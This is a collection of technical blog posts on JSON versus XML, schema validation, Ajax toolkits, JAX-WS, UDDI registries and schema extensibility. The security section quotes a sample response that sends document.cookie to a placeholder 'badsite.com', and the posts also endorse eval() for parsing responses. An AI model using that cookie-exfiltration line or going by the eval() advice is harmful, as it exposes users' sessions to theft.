The discussion at Dare Obasanjo’s blog, and the references to some other recent posts motivate me to look at some of the broader arguments being made. It is clear that processing JSON data using JavaScript is trivial, and that is what makes JSON a popular alternative over XML currently. All other advantages and disadvantages over XML are incidental. If we take out JavaScript from the picture, JSON is not a clear winner. Both JSON and XML take some effort to parse and process outside JavaScript.

Unfortunately, some in the industry are missing this point, and concluding that JSON is a clear winner over XML for other reasons such as being a simpler format, faster and so on. For instance, in his post JSON and XML, Tim Bray seems to be favoring JSON because “JSON’s single prpose design is to put struts on the wire” That’s not why web developers favor JSON over XML. It is the complexity of processing on the browser, and JSON makes it trivial.

I tend to agree with Don Box, who commented that “JSON has a huge hill to climb to displace XML for new applications that don’t already have a JavaScript/browser component”. We need some more serious efforts to simplify JSON creating/parsing in languages other than JavaScript to make JSON more general-purpose than it is today. Although there is no information that can be represented in an XML document that cannot be represented in a JSON document, it does not mean that all new applications should switch from XML to JSON. For now, if a browser is the consumer of the data, consider JSON over XML.

Does validation mean that interface and implementation are tightly coupled, making the service hard to maintain? Mark Baker posted some more questions on validation yesterday. Validation does have merits in some cases, and the bigger challenge is designing extensible interfaces.

His first comment is that

For an outsider/client, it does not matter whether a service failed due to validation error or some other failure. All that the client wants to know is whether the message was processed, and if not, why not. What difference does it make whether a scheme validator failed because “ABC123” is not a valid 5-digit number or some code block failed because it needs a valid ZIP code to proceed? In that sense, what is the difference between the a structural/value constraint in a schema or some error generated in code.

Another way to look at this is in terms of preconditions and post-conditions. As part of the interface design, it is sensible to express what the preconditions are and what the post-conditions are. Preconditions tell the client what needs to happen for the software to be able to process a request. Agreed that schema languages do not have the smartness to represent all possible preconditions, but they can simplify the effort required to implement certain preconditions in code. Let’s say, the software need to process a purchase order, and certain pieces of data are required to make a purchase order meaningful – for example, it may need certain product descriptions, some contact info etc. To verify these preconditions, the software needs to check that these elements are supplied, and that they make sense (i.e. the software understands those product descriptions and contact info). In most cases, it is possible to express these preconditions in a schema language, and let a validator assert some of the preconditions. This saves time and effort. As I argued in my previous post, upon a validation error, whether to fail immediately or continue is a use-case specific.

There is one particular case where I would consider validation dangerous. It some cases the same software may be described by multiple interfaces. In those case, it is better to keep the software itself decoupled from the interface description, i.e. from the schema language used for describing the interface, and verify the preconditions within code and not rely on a validator.

Preconditions are important to make an interface description useful. The key challenge here is specifying the preconditions such that they are extensible and not set in stone. The current version of the software may only be able to process locations expressed as <address><street></street><city></city></address>, but the next version may also be able to process a “street, city, zip” format, or even geo-coordinates. As the software gets smarter, it needs to be able to process more kinds of messages without significantly changing the interface itself. That is where the schema languages are lacking. It is true that schemas can be used to address extensibility – but in reality – the solutions are painful to implement – like versioning a schema, introducing extension points and so on. The must-ignore rule is easy enough to implement, but the rest of the schema extensibility solutions are not.

This post is in response to Mark Baker‘s post on Validation Considered Harmful. He is partly right about the harmfulness of validation in the specific use case discussed in his post, but I disagree with the generalization implied in his post. Whether validation is useful or not depends on the schema design, and document validation is not a sacred cow worth picking on.

Mark considers a scenario in which party B sends a document to party A for some processing. The schema A and B are following has been updated to accept a new value for some field. Old values are still allowed.

Assuming that A and B are using W3C’s XML Schema, the schema may have been changed from

<simpleType name='someInt'>
<restriction base='integer'>
<minInclusive value='1'>
<maxInclusive value='3'>
</restriction>
</simpleType>

to the following:

<simpleType name='someInt'>
<restriction base='integer'>
<minInclusive value='1'>
<maxInclusive value='4'>
</restriction>
</simpleType>

Party B uses the new schema and sends a value of “4” allowed by the new schema but not allowed by the old version of the schema. Party A does not understand the new schema yet, and hence it’s schema validator rejects the new message. Mark concludes that validation is therefore harmful, and I disagree.

This example is a generalization of the schema extensibility problem. In this particular example, although the scheme change was compatible (i.e new value space for this integer is a super set of the old value space), since A and B are using different versions of the schema, validation will fail when the sending party uses constructs from a later version of the schema.

My first comment is that schema validation may not matter in this example for A to fail. Even if A does not validate the incoming XML, there are several things that can fail within A’s code that is processing the message. For example there may be a database constraint somewhere in the back-end that may fail when it sees a value out of range. Or, some GUI may fail to render because it did not expect a new value. In that sense, validation provides a first-line of defense. There is nothing wrong with having a first line of defense. Failing early is better than failing late.

Secondly, in this particular example, there are two ways to address the schema extensibility.

If party A is only one processing the XML and B is always the sender, it needs to own the schema. That would let it control the evolution of the schema along with the code changes happening in its implementation. By letting some other arbitrary party extend the schema in the way described in Mark’s post, the receiving party can easily be made to fail.

If the schema is needed to be controlled by some other party, then it needs to take an entirely different approach towards extensibility. It could, e.g. use extensibility points in the schema (using xs:any) to introduce changes. Alternatively, when the changes are significant, it could create a new version of the schema in a new namespace. Both these approaches will make B’s messages schema-valid, and preserve forwards and backwards compatibility. See this and this for some background.

My take is that schema validation is useful and can help catch bugs early. Whether an application should fail immediately or not after detecting a schema violation is an implementation choice. There are cases when it can simply ignore the failures and continue to process, then there are cases when it needs to fail immediately. For instance, if party B sends some new XML elements that party A does not understand and does not care, it could simply ignore the validation errors. But if it receives a different set of values for some elements that it needs to decipher, it may choose to fail early.

What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications – use HTML. For data-oriented applications the choice is between XML and JSON. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the use case at hand will dictate the format. I had a chance to test this presumption
recently. In this post, I would like to describe the criteria I used for comparing between XML and JSON, and my analysis.

Here is my criteria:

• Human readability
• Ease of creating the data on the server side
• Ease of processing the data on the client side
• Extensibility of the payload
• Debugging and trouble-shooting
• Security

Human Readability

Peter-Paul Kock of QuirksMode.org includes human-readability as one of the criteria in his analysis. IMO, human-readability is a secondary goal, and one could easily argue that JSON is as human-readable as XML – provided both are pretty-printed.

Subbu
Allamaraju

({
"firstName" : "Subbu",
"lastName" : "Allamaraju"
});

I would argue that the ability to debug and trouble-shoot is more important than human-readability.

Ease of Data Creation

Given that XML has been around for years, there are a number of XML data-binding APIs to create XML in several programing languages. In the Java-land, for instance, you could data-binding APIs like JAXB or XmlBeans to write XML response. Here is an example using JAXB.

Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
Marshaller marshaller = ... // Create a marshaller instance
marshaller.marshal(person, outputStream);

On the otherhand, APIs to create JSON responses are fairly new. Nonetheless, JSON.org lists a fairly impressive collection of APIs in various languages. Here is an example of creating a response with href="http://json-lib.sourceforge.net">Json-lib.

Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
writer.write(JSONObject.fromObject(person).toString());

JSON is not far behind in terms of APIs to serialize Java beans into objects. However, I must point out that there are far more ways to create XML than JSON. Some of those XML APIs have been around for years and hence may be more stable for complex
applications.

Another point to consider is what sources are being used to generate the response. If your backend is already doing the heavy-lifting to create data as XML, it will most likely be
optimal to use XML as the response format. If not, I would not discount using JSON.

Ease of Data Processing on the Client Side

On the client-side, processing JSON data from the response of an XMLHttpRequest is trivial.

var person = eval(xhr.responseText);
alert(person.firstName);

With a simple eval(), you could evaluate the response to a JavaScript object. Once this step is done, to access the data, you just access the properties of the evaluated
object. This is the most elegant part of JSON.

Now consider XML. To keep the code snippet below short, I have excluded all error checks.

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
alert(elements[0].firstChild.textContent);

Apparently, to process the response data, you need to walk the DOM tree. This is a very tedious exercise, and is error prone. Unfortunately, DOM is what we are left with on the browser side. Browsers don’t support query languages like XPath to query and
select nodes in an XML document. There is XSLT support, but it is limited to transforming XML into markup (e.g. HTML). W3C’s Web API Working Group is working on a Selectors API that can be used to use CSS-style selectors to select nodes
from a Document object. With this API, the above code snippet can be changed to xml.match("person.firstName") to get the
firstName element. This is not a great improvement in this specific example XML document, but will be more useful to process deeply nested documents. This API is is work-in-progress, and is years away from browsers supporting this API.

Between XML and JSON, I prefer JSON for ease of client side processing.

Extensibility

Extensibility helps reduce the coupling between the producer and the consumer of the data. In the context of Ajax applications, the client side script should be reasonably agnostic of compatible changes made to the data.

It is a common presumption that, just because there is an "X" in XML, XML is automatically extensible. That is not necessarily the case (i.e. not automatic). The extensibility of XML is based on the principle that you can define extensibility points in your XML, and then honor the must-ignore rule (i.e. if you come across an unknown
element/attribute while processing XML, just ignore it).

To take advantage of extensibility, you need to write the processing code on the client side with extensibility in mind. For example, the following code would break when you insert, e.g., a middleName element.

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;

When you insert a <middleName> element after the <firstName> element, the code above would incorrectly treat the middle name as last name. To be agnostic of this
change, this code will have to be rewritten to either explicitly get the <lastName> element, or keep accessing nextSibling till the sibling with the correct
tagName is found. So, XML is extensible as long as you write the processing code with extensibility in mind. There is no magic.

How about JSON? I would argue that it is simpler to extend JSON data than XML. It certainly takes less effort. Consider adding a middleName property to the JSON response. To access it, you would simple access the property.

alert(person.middleName);

This code need not be changed if you insert a middle name. How about processing a person object with or without middle name? It is simple with JSON.

if(person.middleName) {
// Process
}

My take is that, provided extensibility is kept in mind, both XML and JSON can be extended. JSON is just much easier to deal with extensibility than XML. You just need to check if a given property exists on an object, and process accordingly.

There is another kind of extensibility possible with JSON, that is to inject code along with the data into the response.

alert("Hi - I'm a person");
({"firstName" : "Subbu",
"lastName" : "Allamaraju"});

When this data is evaluated via eval(), the browser would also execute the alert() statement. This way, you can download and execute code. This approach needs to be used carefully as it pollutes the response and creates a coupling between the code and data. Some people also consider this technique a security risk – more about that below.

Debugging and Trouble-shooting

This aspect needs to be addressed on both the server side and the client side. On the server side, it is necessary to ensure that the data is well-formed and valid. On the client side, it should be easy to debug errors in the response.

With XML, it is relatively easy to check that the data being sent to the client is well-formed and valid. You can use a schema for your data, and use that to validate the data. With JSON, this task is manual, and involves verifing that the response object has
the right attributes.

On the client side, it is difficult to spot errors in either format. With XML, the browser would simply fail to parse the XML into the responseXML. For small JSON data, I was able
to detect errors with the FireBug
extension in Firefox. With larger data, it may be a bit more difficult to relate the error messages to the data.

Security

Dave Johnson comments that JSON could pose security problems in his post JSON and the Golden Fleece. His comment is based on the fact that you can include script along with data in JSON responses, and by using
eval() to process the response, you will also be executing the script, and that such a script may pose a security risk.

window.location = "http://badsite.com?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}

The response above, when evaluated, will cause the browser to post the user’s cookies to a rogue site. But there is a fallacy in the argument about the security risk. You should not trust data or code when it was returned from un untrusted source. Secondly, you
can not use XMLHttpRequest to connect to domains other than the one you downloaded the script from. So, only the developer(s) in charge of building the application can post the cookies to a rogue site. This is a bit fictitious, since those developers can put the
same code elsewhere in the document outside the data. So unless I’m missing something, I don’t consider that JSON is insecure when compared to XML.

My Conclusion

For data-oriented applications, I prefer JSON to XML due to its simplicity and ease of processing on the client side. XML may be great on the server side, but JSON is definitely easier to deal with on the client side.

This may sound like a dumb question to ask. But I find that Ajax toolkits offer a mixed bag of features not all of which are necessarily related to “asynchronous JavaScript and XML”. Things usually found in a toolkit include – basic I/O support using XMLHttpRequest and/or iframes, client side widgets for partial page updates, server side controls/APIs for partial page updates, eye candy like drag-and-drop, scrollbars, sortable tables, layouts etc, or support for data transfer via JSON, XML etc, or Comet and so on. I feel that when Ajax toolkits come up for discussion, it is difficult to have a meaningful conversation unless there is a clear set of goals and use cases, and which aspects of Ajax toolkits are we talking about.

IMO, Ajax toolkits are just what they are – kits with a mixed set of tools. Here is the list of points that I would consider when addressing the question of toolkit choice (or even rolling out your own).

Basic I/O

Usually at this layer, we are talking about submitting requests using XMLHttpRequest and/or iframes. What a toolkit would probably buy is not having to deal with cross-browser nuances. But as XMLHttpRequest support becomes more consistent across browsers, this task will become more and more trivial. If all you care about is I/O, using a toolkit does not automatically buy you anything.

Client Side APIs for Partial Page Updates

Here toolkits can add some value. Take, for example, submitting a form via an XMLHttpRequest, and doing some DOM changes when a response comes back (the stuff you do when readyState = 4). This is basic, yet mundane. Toolkits like Dojo could take out some of the drudgery involved in this task.

Server Side APIs for Partial Page Updates

Toolkits offering this support make me uncomfortable. These toolkits usually generate some data and script automatically based on the APIs used in your code on the server side. What makes me uncomfortable about these toolkits is the level of abstraction supported. Usually these toolkits start with simple abstractions which look elegent at the beginning, and become leaky when it comes to complex problems requiring control over details. Without getting into specifics, I would ask questions related to caching, cookies, security, and whether the API has support to control these. If your toolkit stands up to these questions, you are in luck.

Another thing to consider is how flexible the APIs are. Questions to ask include – how well does the toolkit support your favorite web development language and framework, how well does it integrate with your existing apps etc.

Data Support

This area includes support for dealing with JSON and XML. Strictly speaking, this area is not related to Ajax itself. There are a number of APIs available (outside Ajax toolkits) to do this work, and Ajax toolkits don’t necessarily offer any value here. Instead of focusing on toolkit support, I would look at the application I am writing, what kinds of data it needs to communicate with the browser, and a schema for the payload across the app.

Widgets and Eye Candy

IMO, these are pre-Ajax (I mean, pre-Google-suggest), but took a front-seat with the increased popularity of Ajax over the last couple of years. Most of the support here has to do with cross-browser HTML, CSS, and JavaScript to provide some rich UI. Again, none of these widgets may be related to Ajax directly. Most server-side web developers would consider writing these widgets yucky (more about these feelings in another post), and Ajax toolkits may be your best bet.

So-Called Backbutton and History Solutions

As I discussed in a previous post, the problems are hard and the solutions are premature. I would not focus on these features yet, since solutions don’t worky very well. Moreover, getting these solutions to work in complex apps is not trivial.

How About Comet?

Although Comet and Ajax are discussed together often, IMO, Comet is whole different area mostly dealing with web/application servers, and programming models to take advantage of Comet. The problem is to be able to serve responses over long-running connnections without necessarily tieing each connection to a single process or thread. See my post on server push for a demo and some analysis.

In the JEE world, the challenge is to improve the servlet API such that a servlet can process a given request over multiple threads. This gives the boring servlet API some flexibility to wake up when interesting events occur, and generate some more response. Jetty and Glassfish have some experimental (read – non-standard and non-portable) support for Comet. This area will remain in flux until the servlet EG takes up this problem and designs an API. Once this is in place, the next challenge to get servlet containers actually take advantage of Comet and offer scalable support without necessarily tieing requests to threads.

So, what is an Ajax toolkit, and which one to pick? Before asking around, I would list my goals and use cases first. I would also consider the fact there are still too many toolkits, and it is likely that some of these will disappear or get consolidated over time. Other questions I have not addressed here, yet may be important, are how stable a given toolkit is, whether the toolkit cares about backward-compatibility or not, whether a new version of a browser will force you to upgrade your toolkit, etc.

Ever wonder why the method getElementById returns null when applied to responseXML of XMLHttpRequest?

Thomas Rabaix discusses about this problem briefly in his Issues when developing AJAX Libraries. Here is a more detailed answer.

In the snippet below, the value of getElementById() would be null.

request.onreadystatechange = function()
{
if(request.readyState == 4) {
if(request.status == 200) {
var info = request.responseXML.getElementById("someid");
alert(info);
}
}
};

In XML, attribute with name id is not automatic. For an element to have an attribute named id, an attribute with name id and type ID must be defined in a schema or DTD underlying an XML document. For instance, XHTML defines such an attribute. The ID type is defined in XML 1.0 and further in XML Schema to be an attribute with a value which must be unique within a given document.

DOM Level 2 describes the behavior of getElementById().

Further, xml:id Version 1.0 encourages schemas to declare attributes named xml:id with the type xs:ID.

The bottomline is that, unless an attribute of type ID is known to the DOM implementation, this method with return null.

For responseXML.getElementById() to return an element with the matching id value, XMLHttpRequest implementations must be aware of the underlying schema/DTD that defines an id attribute of type ID. Currently browsers are not schema/DTD aware for XMLHttpRequests, although they support well-known DTDs like HTML and XHTML for documents.

Angle brackets or annotations? Is JAX-WS over-engineered or does it simplify web services development? I am disappointed with the points made by Richard Monson-Haefel and Jason Greene in their challenge and retractions against how complex or easy it is to use JAX-WS. Both their posts were provocative, but sidestep most of the requirements of complex web services. IMO, their positions are at the extreme ends.

For of all, let me look at Richard’s arguments. He complains that JAX-RPC and JAX-WS are over-engineered. He blames the API for its complexity. He blames features like handler chains. He complains that deployment is hard. These complaints are a bit disappointing. Given his expertise as an author of a book on J2EE web services, I would expect him to provide more
concrete criticism, and concrete proposals to address these limitations. Both were missing in his post. On the other side, Jason Greene tries to prove that it is trivial to write a web service using annotations. But I think his example actually proves Richard’s point that,
for the simplest services, JAX-RPC and JAX-WS work fine. His example does not get into any details of real-world complex web services.

On a scale of 1 to 10, I would give JAX-WS at least a 7 (I would have given a 9 had JAX-WS retained backwards compatibility with JAX-RPC). Here is my take on how JAX-specs scale for developing complex web services.

XML First

I would never start designing a web service in Java or some other
programming language, unless, of course, I’m doing a quick demo. Why?
Because, to design inter-operable and loosely-coupled web services, I need
to focus on the wire format first. Mapping to a programming language comes
later. During design, I need to focus on what kind of messages need to be
exchanged, what pieces of data need to be exposed and accepted, and their
detailed semantics. I also need to focus on the kind of faults need to be
returned, and their semantics. In essence, I would focus on a message
exchange protocol for each service.

To do all this, starting from Java with some annotations is not necessarily the best
approach. Such an approach would steal the focus away from the wire format
towards programming details such as class names, class hierarchies, method signatures, exceptions, etc.

To do this effectively, I need an XML-to-Java binding model that maps the
XML well-enough. With the help of JAXB, JAX-WS does a decent job in providing such a binding.

Injection of Services

The next important thing for me is the ability to inject services.
Take, for example, adding a security token to an outgoing message, or
processing a security token on an incoming message. The best way to do
this by adding handlers. Handlers are pluggable, can be inserted and
swapped as required without changing your application. I don’t understand
Richard Monson-Haefel’s complaint on handlers. At BEA, we use handlers to
drive a variety of use cases for our WSRP runtime.

I do have two complaints about handlers. Firstly, the criteria to inject
handlers is very coarse. Although JAX-WS improves upon JAX-RPC by letting
you specify service name patterns, protocol bindings etc., it is still too
coarse. I like to be able to specify handlers with some filtering criteria
using XPath or XQuery. My second complaint is about the underlying SAAJ,
and its tight-coupling to Java Mail and Java Activation Framework. SAAJ, by itself,
is fine, but I get jittery when it starts jumping to Java Mail API for
processing attachments. The programming model is not intuitive, and takes
some expertise to use it correctly.

JAX-WS needs further refinements in this area.

Services without Java Binding

JAX-WS adds support for building web services without requiring Java binding. I consider this to be a very important improvement over JAX-RPC. Both JAX-RPC and JAX-WS spend a lot of energy bridging between WSDL and XML and Java classes and methods. This is not necessarily the wrong approach, since it covers most of the use cases. However, for really performance conscious web services development, it is better to program to the XML directly. For instance,
instead of letting the container to unmarshal XML into Java beans, it may
be faster to proces the raw message directly. JAX-WS let’s you do this with the javax.xml.ws.Provider interface. The provider can receive SOAPMessage or a raw StreamSource

Performance is not the only use case for using providers to build web services. Another key use case is versioning. Direct access to the SOAP message gives more flexibility to create web services that can support multiple versions of web service. Working at this level requires some expertise since you need to be aware of angle brackets, DOM gotchas, namespace prefixes etc, but it is exciting to see this as a possibility with JAX-WS.

Protocol Handlers

This is yet another improvement in JAX-WS over JAX-RPC. Let me elaborate. In JAX-RPC,
handlers are protocol agnostic. Handlers don’t know anything about the
network protocol that was used to transport a message. On the server side,
handlers don’t know anything about the container that was used to run the
service. For purity sake, you might argue that all web services code must
be protocol independent “don’t care how the message got delivered – just
process it”. This may be the case for most web services, but definitely not
all web services. In real-world, web services co-exist with other apps
bound to various network protocols, and in some cases, we need a way to
peek into or influence protocol-specific aspects. Take, for example, any
WSRP producer implementation. For starters, a WSRP producer is a web
service that can be used to view/invoke portlets. In the J2EE world,
portlets mostly run on top of the servlet container. For a WSRP producer
to be able to interact with the servlet runtime, it needs access to
servlet request and servlet response. So, most WSRP producer
implementations out there use some internal/proprietary APIs to get hodl
of these objects from the servlet container. This is just one example.

JAX-WS has the notion of protocol handlers that can get more direct access to protocol level objects such as request and response headers, servlet-container variables like ServletContext, HttpServletRequest, HttpServletResponse, HttpSession etc.

My Summary

Overall, I think JAX-WS is great improvement over JAX-RPC. I take the side of Jason Greene, but not just for annotations. JAX-WS gives me access to more low-level stuff, and I now have less number of reasons to write my own web services stack – which I had to do a couple of years ago since JAX-RPC did not give me all that I wanted.

Here is a realistic application of UDDI registries. This one is not
imaginary, and is not driven by a need to somehow use a registry to get
SOA qualified. Moreover, you may not find this use case prominently
anymore in white papers and brochures on UDDI registries.

In the past, I have blogged about the

hype around registries, repositories and SOA, and I have been

quoted for that. But now, I am about to describe a use case for which
using UDDI registry makes sense. This is one of the few use cases where
finding, and consuming business services at runtime (and not design time)
is possible. In this case, users search for services, select services, and
start using them almost immediately. Please be warned that this use case
does not involve any of the following use cases that registries have been
touted for:

• Dynamic routing of service requests
• Enforcement of policies
• Controlling the integrity of services published
• Governance

My use case is more basic than all of the above. Here it is.

• A developer writes a an app with a web-based UI, and deploys it.
• A user wants to find and it and use it.

In this use case, the app is a portlet, and the user is interested in
finding portlets based on some metadata, and using them. The user is not
interested in understanding the interfaces for services, or their
semantics, or designing software to use services. The user may be a
typical web surfer, or an administrator creating portals. Here is how UDDI
helps solve this use case:

• The runtime hosting the app publishes the app as business service in a
  UDDI registry. Note that the app is not a web service.
• User searches against the registry using some high-level UI. The UI
  presents portlets.
• When the user finds a portlet that he/she is looking for, the user
  will aggregate it into a portal page, and start using it right away.

As I have argued

previously on this blog, most typical service clients can not take
advantage of dynamic discovery of web services through a UDDI registry.
The reason is that most web services are tailored to to specific business
use cases, and a developer needs to know about the service at design time.
The developer will have to look up the WSDL, the schema for messages, and
some other documentation to understand the semantic meaning of each and
every detail of the service.

However, in my use case, the services and the clients are generic, and in
most cases, users can use a service as soon as finding one. Here is how:

• The business service in my use case is a portlet. A portlet is usually
  an app encapsulating some UI, business logic and data.
• The runtime for portlets (a.k.a portlet producer) supports
  
  WSRP, and can offer portlets over web services to any client
  supporting WSRP.
• The producer publishes each portlet as a business service in a UDDI
  registry. The producer can do this behind the scenes without requiring the
  portlet developer/deployer understand UDDI.
• The client is a portal or an application (a.k.a. consumer) that can
  aggregate portlets into web pages. The client implements WSRP.
• When a user searches for portlets, the consumer searches the registry
  for matching business services, and presents the results as portlets.
• The user aggregates portlets found into web pages.

In this use case, both the service and client are generic, and that is the
key to publishing, finding, and using services dynamically at runtime.

I must say that I’m quite excited about supporting this use for the next
release of

WebLogic Portal due to be released in a couple of months. Prior to
supporting this use case, finding portlets was not very easy. Let’s say,
portlets are hosted in a number of producers. Each producer offers a
WSRP-compliant WSDL, and one of the operations in the WSDL can be used to
fetch a list of portlets available on a producer. To search for portlets,
the user will have to go through this list from each producer. This can be
tedious if the number of portlets is large. UDDI helps simplify this use
case. By mapping portlets into business services, and publishing them into
a registry, the problem is much simplified. Instead of browsing lists of
portlets, users can type in keywords or other criteria to search for
portlets. To help this use case, the WSRP TC released a

technical note that describes a mapping portlets and portlet producers
into services that can be published into

UDDI or

ebXML registries. 

There are few issues that may stand in the way of using portlets found in
a registry immediately. In some cases, the user may not have enough
privileges to use a portlet. In other cases, the user may require the
assistance of administrators to help meet the security policy requirements
of portlet producers. But once these infrastructure issues have been
related, finding and using portlets is as easy is getting some plumbing
help via yellow pages.

Despite this simplicity, I don’t imagine emergence of global portlet
registries. The main reason is that a portlet registry makes sense when
there are a large number of remote portlets deployed, and typically such
deployments may be limited to large enterprises. Secondly, there are still
issues around security and other quality of service, and these require
out-of-band negotiation in most cases.

In this post on What is XML? Jim Baldo asks a very interesting and important question. What does anyone mean by XML?

A number of people still say that they use XML because it is self-describing. No way. XML is not self-describing. I have seen people asking questions in the line of “Here is the schema. Don’t you understand what this XML means?”. No. XML and schemas don’t make data self-describing either. Schemas and DTDs don’t add semantics to XML. They add constraints to XML documents.

So, where do semantics come from? Definitely not from XML or a schema. We need something else, like a specification, or a document that someone wrote, that describes what a given XML element/attribute means in a given context. Neither the context nor the meaning can be described with in an instance document or a schema, because, the same piece of XML can mean different things to different people (read applications). So, mere presence of a schema describing XML does not tell an application what to do with it.

Jim’s post reminds me of a long thread of posts on the service-oriented-architecture group. The thread started with a question – Is the WS-vision achiavable?. The thread went on to discuss “self-describing” services, i.e. services that can be discovered dynamically and used by dynamically generating/constructing the client. The trouble with this approach is that, once you discover an arbitrary service, you need to know the semantics before you can use the service correctly. The mere fact that a service uses a WSDL and an XSD does not mean that it is self-describing.

The only time when dynamic binding of services can work is when the semantics are understood (e.g. in a vertical domain) by all parties (service providers and consumers). Even in that case, we can’t say that such services are self-describing.

Last week, at BEA World 2005, I had a chance to hear
David Orchard talk about
WS-* standards [1], and future-proofing XML schemas
and web services [2]. I also had a chance to discuss a
few things. Both his sessions were quite informative and insightful, and
brought out a few key points. I would like to share my thoughts here.

SOAP Extensibility and REST

SOAP vs. REST is a hot topic, and there are valid points on both sides.
The

recent post by Anne Thomas Manes
summarizes the debate very well. But what makes SOAP successful is SOAP’s
extensibility model. WS stacks and intermediaries can enhance messages
without changing the application protocol (as dictated by the WSDL of the
web service). For example, you can add a SOAP addressing header or an
identity security token without changing the web service. This is a key
requirement for loose-coupling. There are several arguments about REST’s
extensibility. But extensibility models of REST and SOAP are quite
different and operate on different levels. Moreover, REST’s extensibility
is tied to HTTP, whereas SOAP does not depend on HTTP.

[On a related note, the reason for SOAP's success may be attributed to the
number of applications using it, and the number of products available on
top of SOAP and WSDL. The larger the community of users, developers, and
vendors using a technology or a product, the more successful it will be,
even when some other technology or product has some superior
qualities. Microsoft Windows (vs Linux), and Internet Explorer (vs FireFox
and Mozilla) are the best examples. Struts and Java Server Faces also fall
in this category, although some people might flame me for saying this.]

Changing the Schema

One of the approaches for versioning a schema is not to version at all.
That is to keep making compatible changes within the same schema. This is
an interesting approach, and works only if applications receiving XML from
other applications strictly follow the mustIgnore rule for processing the
XML. When a schema is modified like this, various users of the schema will
likely end up having an inconsistent view of the schema, and applications
using the schema may break if they encounter unknown elements or
attributes. Compatibility and adherence to the mustIgnore rule are key for
this approach to work. 

Extensions are for Third Parties

Extensions are for third parties. Period. The problem with extensions is
that schema owners have no control on either the data model or the
semantics of extensions. Both are completely the responsibility of the
extension owner and not the spec owner. But how can schema owner guard
against incompatible or invalid extensions, or changes that prevent future
changes to the schema? Of all the solutions discussed, I find the
following solution most useful. The solution is to wrap the extension in a
known type as shown below.

<xs:complexType name="Extension">
<xs:sequence>
<xs:any processContents="lax" minOccurs="0" maxOccurs="unbounded"/>
</xs:sequence>
<xs:anyAttribute>

</xs:complexType>       

The expectation is that third-parties use these extensions for
transporting data of type and semantics unknown to the schema owners. This
is the model we adopted in the WSRP 1.0 specification for third-party
extensions.

But there is a problem with extensions. Most XML APIs (including XmlBeans)
provide a very low level access to process extensions. For instance, if a
person has an extensions element, a developer
can call a getExtensions-like method to get the extensions,
but from then onwards, the developer has to use some low-level accessors
(like an XmlCursor) to process extensions. The same is the case with
extensions used in web services. Most web services toolkits generate
DOM-like accessors to process extesion elements.

Versioning and Web Services

Dave also talked about extensibility and versioning issues with web
services. In my experience, I find that web services toolkits and programming
models ignore versioning. Over the last several years, it
has gotten easier to create web services implementations either from code
(e.g. using a JWS file), or from a WSDL. These improvements help rapid development and deployment of web
services. But once you introduce versioning into the picture, these
standards have no clue. There is no @versionOf annotation for web services yet.
I admit that the problem is complex. As I
blogged earlier here, the solutions are not
pretty.

Overall, I found Dave’s sessions very useful. I strongly recommend
his papers on extensibility for anyone trying to understand schemas. There
is more to schemas than creating simple and complex types.

References

[1]

Industry Standards Overload: Making Sense of WSDL, SOAP, WS-*, and more!
(requires registration).

[2]

Future-Proof Web Services: XML Schema, WSDL and Web Service Evolution in
WebLogic 9.0 (requires registration).